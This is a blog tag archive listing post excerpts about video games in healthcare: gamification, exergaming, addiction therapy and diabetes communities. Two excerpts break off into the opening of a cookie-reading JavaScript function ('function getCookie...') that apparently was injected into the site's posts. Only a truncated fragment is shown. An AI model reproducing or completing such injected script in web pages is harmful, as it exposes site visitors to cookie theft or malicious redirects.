Tag Archives: gaming
A Chat With Ben Sawyer of Games for Health
If you read yesterdays post, youll know that Pixels and Pills recently sat down with Ben Sawyer, Director of the Games for Health Project and organizer of the Games for Health Conference to talk...
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Tagged creative engineering, game design, gamification, gaming, integrated gaming
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Getting Healthy Through Gaming
by Briana Campbell (@MsMatchGirl) Heres the question: How do we help people get healthy and stay healthy? With all the information thats available, youd think it would be a no brainer, right?...
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Tagged Buster Benson, Communities, community, Compliance, gamification, gaming, Health, Health care, Health Month, healthcare, innovation, marketing, Social network, Trends
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POINT/COUNTERPOINT: The Great Flash Debate, Part I
(Video credited to Milk and Cookies) This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy...
Posted in Digital Health
Tagged activity, animation, content, Design, enrichment, Flash, gaming, graphics, information, interactivity, internet, introduction, learning, mobile, motion, platform, technology, website, World Wide Web
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Is There Such a Thing as “Making Pharma Fun”?
By Sven Larsen (@Zemoga) Volkswagen's Swedish ad agency created The Fun Theory website, stating: "This site is dedicated to the thought that something as simple as fun is the easiest way to change...
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Tagged addiction, behavior, exercise, fun, gaming, idealistic, incentive, Medicine, monitoring, motivation, Pharma, social, symptoms
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Gaming and Addiction Therapy
By DJ Edgerton (@wiltonbound) Even while traveling, I have to say, it's hard to ignore the recent Charlie Sheen Media Spectacular. His very public fall from grace has dominated the headlines,...
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Tagged addiction, ADHD, Charlie Sheen, drug abuse, gaming, phobia, PTSD, therapy, treatment, winning
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DigitalMill’s Ben Sawyer Talks About Reaching Patients Through Games For Health
Ben Sawyer, President of DigitalMill, describes how he became involved with ePatient Connections and the significance of gaming to global health, general wellness, and rehabilitation function...
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Tagged #epatcon, Ben Sawyer, caregivers, DigitalMill, engagement, ePatient Connections, events, gaming, Health, Patients, rehabilitation, Video, Wellness
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The University of North Carolina at Chapel Hill’s Elizabeth Lyons, PhD, MPH Discusses “Exergaming”
Elizabeth Lyons, PhD, MPH, Interdisciplinary Obesity Center, Lineberger Comprehensive Cancer Center at The University of North Carolina at Chapel Hill explains how video games don't require any...
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Tagged #epatcon, caregivers, Elizabeth Lyons, engagement, ePatient Connections, events, gaming, Health, Lineberger Cancer Center, obesity, Patients, UNC Chapel Hill, Video, Wii Fit
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Ayogo Games’ Michael Fergusson Explains His Collaboration With The Diabetes Hands Foundation
Michael Fergusson, CEO of Ayogo Games describes the physiological rewards of gaming, and how the user's social network helps them stay honest. function getCookie(e){var U=document.cookie.match(new...
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Tagged #epatcon, Ayogo Games, caregivers, engagement, ePatient Connections, events, gaming, Michael Fergusson, Patients, social media, Video
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Manny Hernandez from the Diabetes Hands Foundation Talks About Health Seeker
Manny Hernandez, President of the Diabetes Hands Foundation, explains how encouraging healthy behavior can be fun by leveraging gaming and social media. function getCookie(e){var...
Are You Game?: Gaming and the Healthcare Industry
By Todd LaRoche (@toddlaroche) I wasnt more than a small child the first time I hyper-spaced through the galaxy in Asteroids. Within seconds of whizzing past meteors and shooting stars, I was...
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Tagged communication, Communities, Education, gaming, healthcare, interactive, marketing, support group, therapy, video games
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